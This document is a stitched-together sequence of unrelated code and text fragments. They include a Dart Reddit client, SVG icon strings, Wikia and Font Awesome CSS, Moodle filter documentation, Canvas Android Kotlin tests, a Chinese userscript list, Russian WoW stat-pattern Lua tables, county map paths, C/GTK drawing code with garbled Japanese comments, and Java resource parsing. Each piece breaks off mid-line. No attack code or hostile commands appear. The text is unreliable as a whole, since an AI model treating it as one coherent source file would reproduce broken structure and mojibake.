	Future<List<Thread>> getMoreCatalogImpl(String board, Thread after, {CatalogVariant? variant, required RequestPriority priority, CancelToken? cancelToken}) async {
		final suffix = _getCatalogSuffix(variant);
		final response = await client.getUri<Map>(Uri.https(baseUrl, '/r/$board${suffix.$1}', {
			'after': 't3_${toRedditId(after.id)}',
			...suffix.$2
		}), options: Options(
			extra: {
				kPriority: priority
			},
			responseType: ResponseType.json
		), cancelToken: cancelToken);
		final newPage = (after.currentPage ?? 1) + 1;
		final children = switch (response.data) {
			{'data': {'children': List children}} => children,
			_ => throw PatternException(response.data)
		};
		return await Future.wait(children.cast<Map>().map((d) async {
			final t = await _makeThread(d['data'] as Map, cancelToken: cancelToken);
			t.currentPage = newPage;
			return t;
		}));
	}

	@override
	Future<Post> getPostFromArchive(String board, int id, {required RequestPriority priority, CancelToken? cancelToken}) {
		// TODO: implement getPostFromArchive
		throw UnimplementedError();
	}

	Flag? _makeFlag(List? data, Map parentData) {
		if (data == null || data.isEmpty) {
			return null;
		}
		final parts = <ImageboardFlag>[];
		for (final part in data.cast<Map>()) {
			if (part['e'] == 'text') {
				final emoteMatch = _emotePattern.firstMatch(part['t'] as String? ?? '');
				if (emoteMatch != null) {
					final emote = (parentData['media_metadata'] as Map?)?[emoteMatch.group(1)];
					// Tbh this usually doesn't work because Reddit only returns emote
					// metadata that was also used in the text. But best effort...
					if (emote is Map) {
						parts.add(ImageboardFlag(
							name: '',
							imageUrl: emote['u'] as String,
							imageWidth: (emote['x'] as int? ?? 16).toDouble(),
							imageHeight: (emote['y'] as int? ?? 16).toDouble()
						));
						continue;
					}
				}
				final tex


.347-.314-5.798m22.751 17.535-.404.244.047.475c-.059 1.92-2.785 5.971-4.843 5.971-2.216 0-4.881-2.799-4.881-4.557v-.557l-.534-.16c-5.084-1.533-9.171-6.152-10.745-12.096l.747-.951 3.403 4.197.667-5.438 4.922 3.631-.953-5.682 6.209.66-2.854-3.439c.684.164 1.454.25 2.346.25 3.26 0 6.312-1.093 8.764-1.971 2.35-.843 4.382-1.57 5.354-.885.719.506 1.082 1.923 1.082 4.212-.002 6.823-3.192 12.989-8.327 16.096"/><ellipse cx="8.068" cy="19.469" fill="currentColor" rx=".589" ry=".303"/><ellipse cx="14.321" cy="19.469" fill="currentColor" rx="2" ry="1.5"/></svg>';
  static const String rose =
      '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="64" height="64" preserveAspectRatio="xMidYMid meet" viewBox="0 0 64 64"><path fill="currentColor" d="M49.322 26.432c.243-1.223.38-2.487.38-3.788 0-8.959 2.504-14.558 2.53-14.613L53 6.346l-1.882.379c-.238.048-2.427.5-5.519 1.437-1.646-2.105-3.467-3.127-3.55-3.173l-.775-.415-.522.687c-.011.014-.901 1.152-3.397 2.749-1.461-2.599-1.423-4.667-1.423-4.686L35.984 2l-1.328.38c-.141.04-3.247.949-6.228 3.258-.802-.643-1.426-1.314-1.785-2.019l-.513-1.01-.956.655c-.097.066-2.163 1.507-3.876 3.689-2.498-1.291-4.213-1.962-4.365-2.02l-2.209-.849.926 2.096c.032.074 3.252 7.53.959 16.232a12.172 12.172 0 00-.338 4.449c-2.16-2.177-3.5-3.905-3.5-3.905s-.732 17.702 18.541 17.702l-.404 7.208c-.811-1.265-2.081-2.524-4.093-3.552C22.139 41.926 11 43.498 11 43.498s4.035 9.326 8.71 11.714c4.611 2.356 8.668.899 10.801-.276L30.114 62h4.958l-.742-13.236 6.238-1.574-6.422-1.725-.27-4.787c15.673 0 18.545-17.114 18.545-17.114s-1.193 1.213-3.099 2.868m-1.602-3.788c0 2.117-.381 4.135-1.06 5.983-4.187 3.277-9.937 6.937-14.75 6.937-2.885 0-5.805-1.194-8.466-2.846-.06-.12-.124-.239-.178-.362-1.682-3.863-.088-8.41 4.488-12.803 6.436-6.179 17.679-9.473


sting .author-details:after{clear:both;content:" ";display:block;height:0;overflow:hidden;visibility:hidden}.WikiaBlogListing .author-details span{display:block}.WikiaBlogListing .author-details span a, .WikiaBlogListing .author-details span a:visited{font-weight:bold}.WikiaBlogListing p{margin:0}.WikiaBlogListing p .read-more{margin:0 20px}.WikiaBlogListingPost{padding-bottom:0px;position:relative}.WikiaBlogListingPost .commentslikes a:hover{text-decoration:none}.WikiaBlogListingPost:last-child{border:none}.WikiaBlogListingPost blockquote{margin:0}.WikiaBlogListingBox{display:block !important;line-height:16px}.WikiaBlogListingBox .wikia-button{float:right;margin-top:-1px;padding:0px 5px}.WikiaBlogListingBox .wikia-button a{color:white}.WikiaBlogListingBox .commentslikes{bottom:16px;position:absolute;right:0px}.WikiaBlogListingBox .commentslikes a{font-weight:normal}.WikiaBlogListingBox ul{margin:15px 0 0}.WikiaBlogListingBox ul h1, .WikiaBlogListingBox ul .WikiaRail .module h2, .WikiaRail .module .WikiaBlogListingBox ul h2, .WikiaBlogListingBox ul .WikiaRail #RIGHT_SKYSCRAPER h2, .WikiaRail #RIGHT_SKYSCRAPER .WikiaBlogListingBox ul h2{margin-bottom:0 !important}.WikiaBlogListingBox ul .WikiaBlogListingPost{zoom:1;border-top:solid 1px #ccc6b0;list-style:none;padding:10px 0;position:relative}.WikiaBlogListingBox ul .WikiaBlogListingPost:after{clear:both;content:" ";display:block;height:0;overflow:hidden;visibility:hidden}.WikiaBlogListingBox ul .WikiaBlogListingPost:first-child{border:none}.WikiaBlogListingBox ul .WikiaBlogListingPost h1, .WikiaBlogListingBox ul .WikiaBlogListingPost .WikiaRail .module h2, .WikiaRail .module .WikiaBlogListingBox ul .WikiaBlogListingPost h2, .WikiaBlogListingBox ul .WikiaBlogListingPost .WikiaRail #RIGHT_SKYSCRAPER h2, .WikiaRail #RIGHT_SKYSCRAPER .WikiaBlogListingBox ul .WikiaBlogListingPost h2,.WikiaBlogListingBox ul .WikiaBlogListingPost details span,.WikiaBlogListingBox ul .WikiaBlogListingPost .author-details span{padding-left:0}.WikiaBlogListingBox ul .WikiaBlogListingPost h1, .WikiaBlogListingBox ul .WikiaBlogListingPost .WikiaRail .module h2, .WikiaRail .module .WikiaBlogListingBox ul .WikiaBlogListingPost h2, .WikiaBlogListingBox ul .WikiaBlogListingPost .WikiaRail #RIGHT_SKYSCRAPER h2, .WikiaRail #RIGHT_SKYSCRAPER .WikiaBlogListingBox ul .WikiaBlogListingPost h2{font-weight:bold;margin:0}.WikiaBlogListingBox ul .WikiaBlogListingPost .author-details{margin-left:35px}.WikiaBlogListingBox img{vertical-align:middle}.WikiaBlogListingBox h1, .WikiaBlogListingBox .WikiaRail .module h2, .WikiaRail .module .WikiaBlogListingBox h2, .WikiaBlogListingBox .WikiaRail #RIGHT_SKYSCRAPER h2, .WikiaRail #RIGHT_SKYSCRAPER .WikiaBlogListingBox h2{padding-bottom:0px}.WikiaBlogListingBox


- `LESS_THAN`
- `GREATER_THAN`
- `EQUAL_TO`
- `EQUAL_OR_LESS_THAN`
- `EQUAL_OR_GREATER_THAN`

```php title="Examples of array key and value pairs for single value number filters
'my:number_operator' => number::LESS_THAN,
'my:number_value1' => 42,
'my:number2_operator' => number::EQUAL_OR_GREATER_THAN,
'my:number2_value1' => 15.6,
```

### Operators with complex data

#### RANGE

- `value1` number for the lower bound
- `value2` number for the upper bound

```php title="Examples of array key and value pairs for range values text filters"
'my:number_operator' => number::RANGE,
'my:number_value1' => 60,
'my:number_value2' => 600,
```

## Date filter

The date filter has several constants used to define the amount of time:

- `DATE_UNIT_MINUTE`
- `DATE_UNIT_HOUR`
- `DATE_UNIT_DAY`
- `DATE_UNIT_WEEK`
- `DATE_UNIT_MONTH`
- `DATE_UNIT_YEAR`

### Operators with no additional data

- `DATE_ANY`
- `DATE_NOT_EMPTY`
- `DATE_EMPTY`
- `DATE_PAST`
- `DATE_FUTURE`

### Operators with one value

The `unit` should be sent defining the amount of time that should be considered.

- `DATE_CURRENT`

```php title="Examples of array key and value pairs for single value date filters"
'my:date_operator' => date::DATE_CURRENT,
'my:date_unit' => date::DATE_UNIT_DAY,
```

### Operators with two values

These operators can all accept two values:

1. `value` - A integer greater than 0
2. `unit` - The type of time unit

- `DATE_LAST`
- `DATE_NEXT`
- `DATE_BEFORE`
- `DATE_AFTER`

```php title="Examples of array key and value pairs for two value date filters"
'my:date_operator' => date::DATE_NEXT,
'my:date_value' => 5,
'my:date_unit' => date::DATE_UNIT_DAY,
'my:date2_operator' => date::DATE_BEFORE,
'my:date2_value' => 20,
'my:date2_unit' => date::DATE_UNIT_MINUTE,
```

### Operators with complex values

#### DATE_RANGE

The date range should have a unix timestamp in one or more of the following:

- `from`
- `to`

```php title="Examples of array key and value pairs for the range date filters"
'my:date_operator' => date::DATE_RANGE,
'my:date_from' => 1732593669,
'my:date_to' => 1732893669,
```

## Select filter

### Operators with no additional data

- `ANY_VALUE`

### Operators with one value

The value of the select should be sent in `value` to:

- `EQUAL_TO`
- `NOT_EQUAL_TO`

```php title="Examples of array key and value pairs for single value select filters"
'my:select_operator' => select::EQUAL_TO,
'my:select_value' => 10,
'my:select2_operator' => select::NOT_EQUAL_TO,
'my:select2_value' => 'textkey',
```

## Boolean select filter

### Operators with no additional data

- `ANY_VALUE`
- `CHECKED`
- `NOT_CHECKED`

## Duration filter

For units the filter uses the standard Moodle defines:

- `MINSECS`
- `HOURSECS`
- `DAYSECS`
- `WEEKSECS`

It also allows the integer value 1 to represent seconds.

### Operators with no additional data

- `DURATION_ANY`

### Operators with two values

These operators can all accept two values:

1. `value` - A integer greater than 0, this should be the number of the units that are included.
2. `unit` - The type of time unit.

- `DURATION_MAXIMUM`
- `DUR


@Test
    fun `Propagates events to resumed consumer`() {
        val eventValue = "Event!"
        val expectedEventCount = 3
        val consumer: Consumer<String> = mockk(relaxed = true)
        val subscriber = GlobalEventSource(object : GlobalEventMapper<String> {
            override fun mapGlobalEvent(event: GlobalEvent): String? = eventValue
        })
        GlobalEvents.subscribe(subscriber)
        val event = GlobalEvent.TestEvent(0)
        repeat(expectedEventCount) { GlobalEvents.post(event) }
        subscriber.subscribe(consumer)
        verify(exactly = expectedEventCount) {
            consumer.accept(eventValue)
        }
        confirmVerified(consumer)
    }
}
/*
 * Copyright (C) 2017 - present Instructure, Inc.
 *
 *     Licensed under the Apache License, Version 2.0 (the "License");
 *     you may not use this file except in compliance with the License.
 *     You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 *     Unless required by applicable law or agreed to in writing, software
 *     distributed under the License is distributed on an "AS IS" BASIS,
 *     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 *     See the License for the specific language governing permissions and
 *     limitations under the License.
 *
 */

package com.instructure.student.test.util

import androidx.fragment.app.FragmentActivity
import androidx.test.ext.junit.runners.AndroidJUnit4
import com.instructure.canvasapi2.models.CanvasContext
import com.instructure.canvasapi2.utils.ApiPrefs
import com.instructure.interactions.router.Route
import com.instructure.interactions.router.RouteContext
import com.instructure.interactions.router.RouterParams
import com.instructure.pandautils.features.assignments.details.AssignmentDetailsFragment
import com.instructure.pandautils.features.assignments.list.AssignmentListFragment
import com.instructure.pandautils.features.discussion.router.DiscussionRouterFragment
import com.instructure.pandautils.features.inbox.details.InboxDetailsFragment
import com.instructure.pandautils.features.inbox.list.InboxFragment
import com.instructure.student.activity.BaseRouterActivity
import com.instructure.student.features.discussion.list.DiscussionListFragment
import com.instructure.student.features.grades.GradesListFragment
import com.instructure.student.features.modules.list.ModuleListFragment
import com.instructure.student.features.modules.progression.CourseModuleProgressionFragment
import com.instructure.student.features.pages.list.PageListFragment
import com.instructure.student.features.people.details.PeopleDetailsFragment
import com.instructure.student.features.people.list.PeopleListFragment
import com.instructure.student.features.quiz.list.QuizListFragment
import com.instructure.student.fragment.AnnouncementListFragment
import com.instructure.student.fragment.CourseSettingsFragment
import com.instructure.student.fragment.NotificationListFragment
import com.instructure.student.fragment.UnsupportedTabFragment
import com.instructure.student.mobius.assignmentDetails.submissionDetails.ui.SubmissionDetailsFragment
import com.instructure.student.mobius.conferences.conference_list.ui.ConferenceListRepositoryFragment
import com.instructure.student.mobius.syllabus.ui.SyllabusRepositoryFragment
import com.instructure.student.router.RouteMatcher
import io.mockk.mockk
import junit.framework.TestCase
import org.junit.Test
import org.junit.runner.RunWith

@RunWith(AndroidJUnit4::class)
class RouterUtilsTest : TestCase() {

    private val activity: F


WiKi**](https://greasyfork.org/scripts/536279): GitHub 存储库跳转到 DeepWiKi,支持电脑桌面端和移动端
> -   [**GitHub 隐藏 Copilot**](https://greasyfork.org/scripts/536423): 在 GitHub 上隐藏愚蠢的 Copilot

> ### 🔍你可能在找Google相关脚本
>
> -   [**屏蔽谷歌搜索站点**](https://greasyfork.org/scripts/500262): 在google搜索屏蔽指定站点
> -   [**Google 高级搜索助手**](https://greasyfork.org/scripts/502652): 在谷歌搜索页面顶部添加一个高级搜索表单

> ### 🔍你可能在找GreasyFork相关脚本
>
> -   [**Greasy fork脚本页面适用于网址增强**](https://greasyfork.org/scripts/497317): 脚本详情页适用于网址不默认跳转搜索 转为可点击的文本链接并弹出提示
> -   [**Greasyfork 糊裱匠**](https://greasyfork.org/scripts/497346): 为 Greasyfork 提供各种使用功能，绝对时间，网页宽屏，脚本页增强，下载拓展，面板修复等一系列操作
> -   [**Script Finder 油猴脚本查找**](https://greasyfork.org/scripts/498904): Script Finder 在任何网站上找到适用于该网站的 油猴脚本。
> -   [**Greasyfork 脚本显示评分**](https://greasyfork.org/scripts/501119): 在浏览脚本列表时在脚本名称后面添加脚本评分
> -   [**GreasyFork: 导航栏增强**](https://greasyfork.org/scripts/501880): 在导航栏上添加用户列表,控制台,收藏等..
> -   [**GreasyFork markdown**](https://greasyfork.org/scripts/505164): 在论坛默认使用格式为Markdown，添加格式帮助链接及在发布新脚本,回复时间启用快速编辑的工具栏
> -   [**GreasyF


на %s сек"] = { { Stats.SpellDamage, }, false, ignoreSum = true } -- s72419
L["ужасающей силы удар наносит %s% обычного урона от оружия ближнего боя и снижает вероятность уклонения цели на %s% на %s сек. удар всегда попадает в цель"] = { false, { Stats.Dodge, }, false, } -- s72422
L["повышает выносливость всех членов группы или рейда на %s на %s сек"] = { { Stats.Stamina, }, false, } -- s72590
L["саурфанг впадает в бешенство, и его скорость атаки повышается на %s%"] = { { Stats.MeleeHaste, }, } -- s72737
L["высвобождает проклятие хаоса, увеличивая силу на %s на %s сек"] = { { Stats.Strength, }, false, } -- s73422
L["понижает скорость атаки противника на %s% на %s сек"] = { { Stats.MeleeHaste, }, false, } -- s74781
L["заклинания, наносящие урон, могут увеличить вашу силу заклинаний на %s на %s сек"] = { { Stats.SpellDamage, }, false, ignoreSum = true } -- s75465
L["сила заклинаний увеличена на %s на %s сек"] = { { Stats.SpellPower, }, false, } -- s75466
L["увеличивает рейтинг уклонения на %s ед. на %s сек"] = { { Stats.DodgeRating, }, false, } -- s75477
L["во время фазовых перемещений халион наносит неожиданные удары, повышающие вероятность нанесения урона на %s% и уменьшающие вероятность уклонения противника на %s%"] = { { Stats.MeleeHit, Stats.RangedHit, }, false, } -- s78243
L["снижает времени между атаками на %s% на %s сек"] = { { Stats.MeleeHaste, }, false, } -- s78722
L["повышает рейтинг скорости участников группы в радиусе %s м на %s. время действия – %s сек. барабаны можно применять, находясь в другом облике. не действует на персонажей %s-го уровня и выше"] = { false, { Stats.MeleeHasteRating, Stats.RangedHasteRating, Stats.SpellHasteRating, }, false, false, } -- s351355
L["усиливает участников группы %s м, повышая силу атаки на %s, а урон от заклинаний – на %s ед. время действия – %s сек. барабаны можно применять, находясь в другом облике. не действует на персонажей %s-го уровня и выше"] = { false, { Stats.GenericAttackPower, }, { Stats.SpellDamage, }, false, false, } -- s351360
L["повышает силу заклинаний на %s на %s сек"] = { { Stats.SpellPower,


"/><path stroke-linejoin="round" d="M4.5 4.5 9 8M4.5 19.5l5-4m10-11L15 8"/><path stroke-linejoin="round" stroke-miterlimit="1.5" d="M4.5 22a2.5 2.5 0 100-5 2.5 2.5 0 000 5Zm15-15a2.5 2.5 0 100-5 2.5 2.5 0 000 5Z"/><path stroke-linejoin="round" d="M21.666 16.667C21.048 15.097 19.634 14 17.99 14c-1.758 0-3.252 1.255-3.793 3"/><path stroke-linejoin="round" d="M19.995 16.772H21.4a.6.6 0 00.6-.6V14.55m-7.666 4.783C14.952 20.903 16.366 22 18.01 22c1.758 0 3.252-1.255 3.793-3"/><path stroke-linejoin="round" d="M16.005 19.228H14.6a.6.6 0 00-.6.6v1.622"/></g></svg>';
  static const String drone_take_off =
      '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="24" height="24" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24"><g fill="currentColor" stroke="currentColor" stroke-linecap="round" stroke-width="1.5"><path d="M13.463 17h-2.926a.6.6 0 01-.596-.534l-.867-7.8A.6.6 0 019.67 8h4.66a.6.6 0 01.596.666l-.867 7.8a.6.6 0 01-.596.534Z"/><path stroke-linejoin="round" stroke-miterlimit="1.5" d="M4.5 7a2.5 2.5 0 100-5 2.5 2.5 0 000 5Z"/><path stroke-linejoin="round" d="M4.5 4.5 9 8M4.5 19.5l5-4m10-11L15 8m-.5 7.5 1.25 1"/><path stroke-linejoin="round" stroke-miterlimit="1.5" d="M4.5 22a2.5 2.5 0 100-5 2.5 2.5 0 000 5Zm15-15a2.5 2.5 0 100-5 2.5 2.5 0 000 5Z"/><path stroke-linejoin="round" d="M19.5 22v-6m0 0L17 18.5m2.5-2.5 2.5 2.5"/></g></svg>';
  static const String droplet =
      '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="24" height="24" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24"><path fill="currentColor" stroke="currentColor" stroke-width="1.5" d="M19 13.8C19 9.824 12 3 12 3S5 9.824 5 13.8c0 3.976 3.134 7.2 7 7.2s7-3.224 7-7.2Z"/></svg>';
  static const String droplet_half =
      '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="24" height="24" preserveAspectRatio="xMidYMid meet" viewBox="0 0 24 24"><path fill="currentColor" stroke="currentColor" stroke-width="1.5" d="M5.333 16A7.384 7.384 0 015 13.8C5 9.824 12 3 12 3s3.748 3.653 5.759 7.171M5.333 16c.904 2.9 3.547 5 6.667 5 3.866 0 7-3.224 7-7.2 0-1.067-.504-2.339-1.241-3.629M5.333 16l12.426-5.829"/></svg>';
  static const String ease_curve_control_points =
      '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width


-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/pro-fa-brands-400-5.0.12.woff2) format("woff2");unicode-range:U+f4f7,U+f50a,U+f50c-f50d,U+f510,U+f512-f513}@font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/pro-fa-brands-400-5.1.0.woff2) format("woff2");unicode-range:U+f25e,U+f375,U+f5a3,U+f5be,U+f5cc,U+f5cf}@font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/pro-fa-brands-400-5.2.0.woff2) format("woff2");unicode-range:U+f5f1,U+f63f}@font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/pro-fa-brands-400-5.3.0.woff2) format("woff2");unicode-range:U+f642}@font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/pro-fa-brands-400-5.4.0.woff2) format("woff2");unicode-range:U+f4f3,U+f6ca,U+f6cc,U+f6dc,U+f704,U+f730}@font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/pro-fa-brands-400-5.4.2.woff2) format("woff2");unicode-range:U+f3e4}@font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/pro-fa-brands-400-5.6.0.woff2) format("woff2");unicode-range:U+f181,U+f77b,U+f78d,U+f790,U+f797,U+f7af-f7b1,U+f7b3,U+f7bb,U+f7df,U+f7e3}@font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/pro-fa-brands-400-5.7.0.woff2) format("woff2");unicode-range:U+f198,U+f1a5,U+f1a8,U+f1f3,U+f214,U+f23c,U+f296,U+f2aa,U+f391,U+f39d,U+f3f7,U+f427,U+f4f4,U+f50e,U+f60f}@font-face{font-family:"Font Awesome 5 Brands";font-style:normal;font-weight:400;font-display:block;src:url(../webfonts/pro-fa-brands-400-5.8.0.woff2) format("wo


640.28739,163.46414 0.45641,5.962 -4.65329,0.346 -7.07799,0.515 -0.41006,-6.068 6.13129,-0.369 5.55364,-0.386"},"55047":{"name":"Green Lake, WI","path":"m 640.7438,169.42614 0.15333,2.019 0.44928,6.026 -2.00038,0.16 -1.99503,0.177 -0.0143,-0.273 -1.96116,0.153 -0.15648,-2.6344 0.26141,-0.14584 0.32024,0.0377 0.6122,-0.0275 -0.0358,-1.02108 -0.17977,0.001 -0.079,0.11649 -0.12217,0.001 -0.12218,-0.11391 -0.12588,-1.41051 0.50769,-0.057 -0.16539,-2.66262 4.65329,-0.346"},"55021":{"name":"Columbia, WI","path":"m 635.37558,177.68814 1.96116,-0.153 0.0143,0.273 1.99503,-0.177 0.55626,8.021 -1.59923,0.168 -4.29316,0.337 -0.0232,-0.296 -5.94766,0.431 -0.12836,-0.183 0.041,-0.314 0.6668,-1.1 0.15332,-0.05 0.24069,0.03 0.1765,-0.06 0.40293,-0.2 0.30487,-0.274 -0.39301,-4.06037 -0.11232,-0.1 -1.98674,0.0926 -0.10271,-0.34469 0.23204,-0.3962 -0.86237,-0.10006 -0.24435,-0.89833 3.07367,-0.241 5.87455,-0.417"},"55025":{"name":"Dane, WI","path":"m 639.90229,185.65214 0.15154,1.999 0.51169,8.085 -5.95301,0.474 -0.0178,-0.26108 -7.86604,0.50908 -0.52059,-8.033 0.40472,-0.66581 0.60358,-0.0693 0.19729,-0.20622 0.36884,-0.24305 0.27605,-0.37562 -0.0195,-0.57302 5.94766,-0.431 0.0232,0.296 4.29316,-0.337 1.59923,-0.168"},"55105":{"name":"Rock, WI","path":"m 644.53775,195.53514 0.62579,8.044 -2.76345,0.184 -7.17783,0.394 -0.60975,-7.947 5.95301,-0.474 3.97223,-0.201"},"55059":{"name":"Kenosha, WI","path":"m 652.87089,200.25914 1.98433,-0.167 -0.1141,-1.35 3.11645,-0.266 3.30544,-0.256 0.43502,4.074 -6.73568,0.465 -1.75256,0.176 -0.2389,-2.676"},"55101":{"name":"Racine, WI","path":"m 656.38849,194.57714 4.05959,-0.337 0.53534,0.72622 0.73204,0.38161 -0.11364,1.97344 -0.43881,0.89873 -3.30544,0.256 -3.11645,0.266 0.1141,1.35 -1.98433,0.167 -0.44216,-5.327 3.95976,-0.355"},"55127":{"name":"Walworth, WI","path":"m 648.49216,195.23014 3.93657,-0.298 0.44216


 5) {
    /* make edge */
    gdk_gc_set_foreground(dgc, &(cols[C_SHADOW]));
    gdk_draw_rectangle(pixmap, dgc,
		       TRUE,
		       x1 - width/2 - 2,
		       y1 - width/2 -2,
		       width+4,
		       width+4);
    gdk_draw_rectangle(pixmap, dgc,
		       TRUE,
		       x2 - width/2 - 2,
		       y2 - width/2 -2,
		       width+4,
		       width+4);
  }
  gdk_gc_set_foreground(dgc, &(cols[C_BGN]));
  gdk_draw_rectangle(pixmap, dgc,
		     TRUE,
		     x1 - width/2 - 1,
		     y1 - width/2 -1,
		     width+2,
		     width+2);
  if (c == C_LINE_BEST || c == C_PASS2_BEST) {
    gdk_gc_set_foreground(dgc, &(cols[C_END_BEST]));
  } else {
    gdk_gc_set_foreground(dgc, &(cols[C_END]));
  }
  gdk_draw_rectangle(pixmap, dgc,
		     TRUE,
		     x2 - width/2 - 1,
		     y2 - width/2 - 1,
		     width+2,
		     width+2);

}

/**
 * <JA>
 * ȥꥹñ褹륵ִؿ.
 *
 * @param widget [in] 襦å
 * @param tre [in] 褹ȥꥹñ
 * @param last_tre [in] @a tre ľΥȥꥹñ
 * @param sw [in] ζ
 * </JA>
 * <EN>
 * Sub-function to draw a trellis word.
 *
 * @param widget [in] drawing widget
 * @param tre [in] trellis word to be drawn
 * @param last_tre [in] previous word of @a tre
 * @param sw [in] drawing strength
 * </EN>
 */
static void
draw_atom_sub(GtkWidget *widget, TRELLIS_ATOM *tre, TRELLIS_ATOM *last_tre, int sw)
{
  int from_t;
  LOGPROB from_s;
  int from_w;

  /* draw word arc */
  if (sw_wid_axis) {
    if (tre->begintime <= 0) {
      from_t = 0;
      from_w = WORD_INVALID;
    } else {
      from_t = last_tre->endtime;
      from_w = last_tre->wid;
    }
    mygdk_draw_arc(widget,
		   scale_x(from_t),
		   scale_y_wid(from_w),
		   scale_x(tre->endtime),
		   scale_y_wid(tre->wid),
		   sw);
  } else {
    if (tre->begintime <= 0) {
      from_t = 0;
      from_s = 0.0;
    } else {
      from_t = last_tre->endtime;
      from_s = last_tre->backscore;
    }
    mygdk_draw_arc(widget,
		   scale_x(from_t),
		   scale_y(from_s, from_t),
		   scale_x(tre->endtime),
		   scale_y(tre->backscore, tre->endtime),
		   sw);
  }
}

/**
 * <JA>
 * 1ѥΤȥꥹñ褹
 *
 * @param widget [in] 襦å
 * @param tre [in] ȥꥹñ
 * @param sw [in] ζ
 * </JA>
 * <EN>
 * Draw a trellis word at the 1st pass.
 *
 * @param widget [in] drawing widget
 * @param tre [in] trellis word
 * @param sw [in] strength of drawing
 * </EN>
 */
static void
draw_atom(GtkWidget *widget, TRELLIS_ATOM *tre, int sw)
{
  draw_atom_sub(widget, tre, tre->last_tre, sw);
}

/* draw word output text */
/**
 * <JA>
 * ȥꥹññɤߤ褹.
 *
 * @param widget [in] 襦å
 * @param tre [in] ȥꥹñ
 * @param sw [in] ζ
 * </JA>
 * <EN>
 * Draw a word output string of a trellis word.
 *
 * @param widget [in] drawing widget
 * @param tre [in] trellis word
 * @param sw [in] strength of drawing
 * </EN>
 */
static void
draw_atom_text(GtkWidget *widget, TRELLIS_ATOM *tre, int sw)
{
  gint text_width;
  UserColors c;
  int style;
  int dx, dy, x, y;
  WORD_INFO *winfo;

  winfo = re->model->winfo;

  if (winfo->woutput[tre->wid] != NULL && strlen(winfo->woutput[tre->wid]) > 0) {
    switch(sw) {
    case 0: style = -1; break;
    case 1: c = C_TEXT; style = 0; break;
    case 2: c = C_TEXT_BEST; style = 1; break;
    case 3: c = C_PASS2_NEXT; style = 0; break;
    case 4: c = C_PASS2; style = 0; break;
    case 5: c = C_PASS2; style = 1; break;
    case 6: c = C_PASS2_BEST; style = 1; break;
    default: c = C_TEXT; style = 0; break;
    }
    if (style == -1) return;	/* do not draw text */

    text_width = gdk_string_width(fontset, winfo->woutput[tre->wid]) + 1;
    x = scale_x(tre->endtime) - text_width;
    if (sw_wid_axis) {
      y = scale_y_wid(tre->wid) - 4;
    } else {
      y = scale_y(tre->backscore, tre->endtime) - 4;
    }

    if (style == 1) {		/* make edge */
      gdk_gc_set_foreground(dgc, &cols[C_SHADOW]);
      for (dx = -1; dx <= 1; dx++) {
	for (dy = -1; dy <= 1; dy++) {
	  if (dx == 0 && dy == 0) continue;
	  gdk_draw_string(pixmap, fontset, dgc, x + dx, y + dy,
			  winfo->woutput[tre->wid]);
	}
      }
    }
    gdk_gc_set_foreground(dgc, &cols[c]);
    gdk_draw_string(pixmap, fontset, dgc, x, y,
		    winfo->woutput[tre->wid]);
  }
}

/**********************************************************************/
/* wrapper for narrowing atoms to be drawn */
/**********************************************************************/
static WORD_ID *wordlist = NULL; ///< List of drawn words for search
static WORD_ID wordlistnum = 0;	///< Length of @a wordlist

/**
 * <JA>
 * ñꥹȤñ줬뤫ɤ.
 *
 *


Short(buf.position());
    Optional<RefMap> refMap = Optional.empty();
    if (nextType == ResChunk.CHUNK_XML_REF_MAP) {
      RefMap map = new RefMap(slice(buf, buf.position()));
      refMap = Optional.of(map);
      buf.position(buf.position() + map.getChunkSize());
    }

    int position = buf.position();
    while (position < buf.limit()) {
      nextType = buf.getShort(position);
      Preconditions.checkState(
          nextType >= XML_FIRST_TYPE && nextType <= XML_LAST_TYPE, "Got: " + nextType);
      position += buf.getInt(position + 4);
    }
    Preconditions.checkState(position == buf.limit());
    return new ResourcesXml(buf.limit(), strings, refMap, slice(buf, buf.position()));
  }

  @Override
  public void put(ByteBuffer buf) {
    putChunkHeader(buf);
    strings.put(buf);
    refMap.ifPresent(m -> m.put(buf));
    buf.put(slice(nodeBuf, 0));
  }

  private ResourcesXml(
      int chunkSize, StringPool strings, Optional<RefMap> refMap, ByteBuffer nodeBuf) {
    super(CHUNK_XML_TREE, HEADER_SIZE, chunkSize);
    this.strings = strings;
    this.refMap = refMap;
    this.nodeBuf = nodeBuf;
  }

  public void transformReferences(RefTransformer visitor) {
    // Make sure to rewrite the refMap first so that fixupAttrs works correctly.
    refMap.ifPresent(m -> m.visitReferences(visitor));
    int offset = 0;
    while (offset < nodeBuf.limit()) {
      int type = nodeBuf.getShort(offset);
      if (type == XML_START_ELEMENT) {
        int nodeHeaderSize = nodeBuf.getShort(offset + 2);

        int extOffset = offset + nodeHeaderSize;
        int attrStart = extOffset + nodeBuf.getShort(extOffset + 8);
        Preconditions.checkState(attrStart == extOffset + 20);
        if (DEBUG) {
          int attrSize = nodeBuf.getShort(extOffset + 10);
          Preconditions.checkState(attrSize == ATTRIBUTE_SIZE);
        }
        int attrCount = nodeBuf.getShort(extOffset + 12);
        for (int i = 0; i < attrCount; i++) {
